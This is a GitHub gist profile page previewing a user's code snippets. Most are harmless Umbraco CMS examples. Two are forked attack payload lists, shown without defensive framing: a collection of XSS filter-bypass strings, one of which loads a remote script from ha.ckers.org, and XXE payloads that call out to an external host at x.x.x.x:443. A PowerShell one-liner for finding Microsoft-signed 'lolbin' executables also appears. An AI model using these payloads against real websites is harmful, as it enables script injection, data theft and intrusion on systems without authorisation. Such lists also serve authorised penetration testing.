Skip to content

Instantly share code, notes, and snippets.

View fraabye's full-sized avatar

Frederik Raabye fraabye

View GitHub Profile
@fraabye
fraabye / xxsfilterbypass.lst
Created May 12, 2020 21:50 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@fraabye
fraabye / XXE_payloads
Created March 31, 2020 08:58 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@fraabye
fraabye / Get-Potential-Lolbins.ps1
Last active March 3, 2020 07:38
Get Potential Lolbins with PS
# Gets all Microsoft-signed .exe files below c:\windows
Get-ChildItem C:\windows\ -File -recurse -Force -ErrorVariable FailedItems -ErrorAction SilentlyContinue|Where {$_.extension -eq ".exe" -And {$app = (Get-AuthenticodeSignature $_.FullName); if (![string]::IsNullOrEmpty($app.SignerCertificate.Subject)) {$app.SignerCertificate.Subject.Contains("Microsoft")}}}|Select -Expand Fullname
//using Our.Umbraco.AuthU.Web.Mvc;
using Our.Umbraco.AuthU.Web.WebApi;
using System.Web.Mvc;
using Umbraco.Web.WebApi;
namespace AuthUDemo.App_Code
{
[OAuth]
public class MembersOnlyController : UmbracoApiController
{
private static List<Record> GetFormRecords(Guid formGuid)
{
var records = new List<Record>();
using (var fs = new FormStorage())
{
var form = fs.GetForm(formGuid);
if (form == null)
{
return null;
@fraabye
fraabye / PushModuleToUmbraco.js
Last active September 3, 2015 08:35
Load an external directive in Umbraco BackOffice
// From our.umbraco.org/forum/umbraco-7/developing-umbraco-7-packages/47905-Including-an-angular-module#comment-209557
var app = angular.module("umbraco");
//This is my Angular module that I want to inject/require
app.requires.push('tableSort');
@fraabye
fraabye / UmbracoFormsCurrentRecordSet
Created June 25, 2015 10:06
Get Umbraco Forms current record data on submit
@if (TempData["umbracoformsform"] != null && TempData["Forms_Current_Record_id"] != null)
{
var currentForm = (Umbraco.Forms.Mvc.Models.FormViewModel) TempData["umbracoformsform"];
var currentRecordId = TempData["Forms_Current_Record_id"].ToString();
var recordIdGuid = new Guid(currentRecordId);
var recordSet = Library.GetRecordsFromForm(currentForm.FormId.ToString());
foreach (dynamic record in recordSet)
{
@fraabye
fraabye / gist:9101724
Created February 19, 2014 21:13
Simple Umbraco language switcher using the relations api
@inherits umbraco.MacroEngines.DynamicNodeContext
@using umbraco.cms.businesslogic.relation;
@{
RelationType relationType = RelationType.GetByAlias("relateDocumentOnCopy");
IEnumerable<Relation> relations = Relation.GetRelations(Model.Id , relationType);
var relation = relations.First();
int relationId = relations.First().Parent.Id;
if(relationId == Model.Id)
{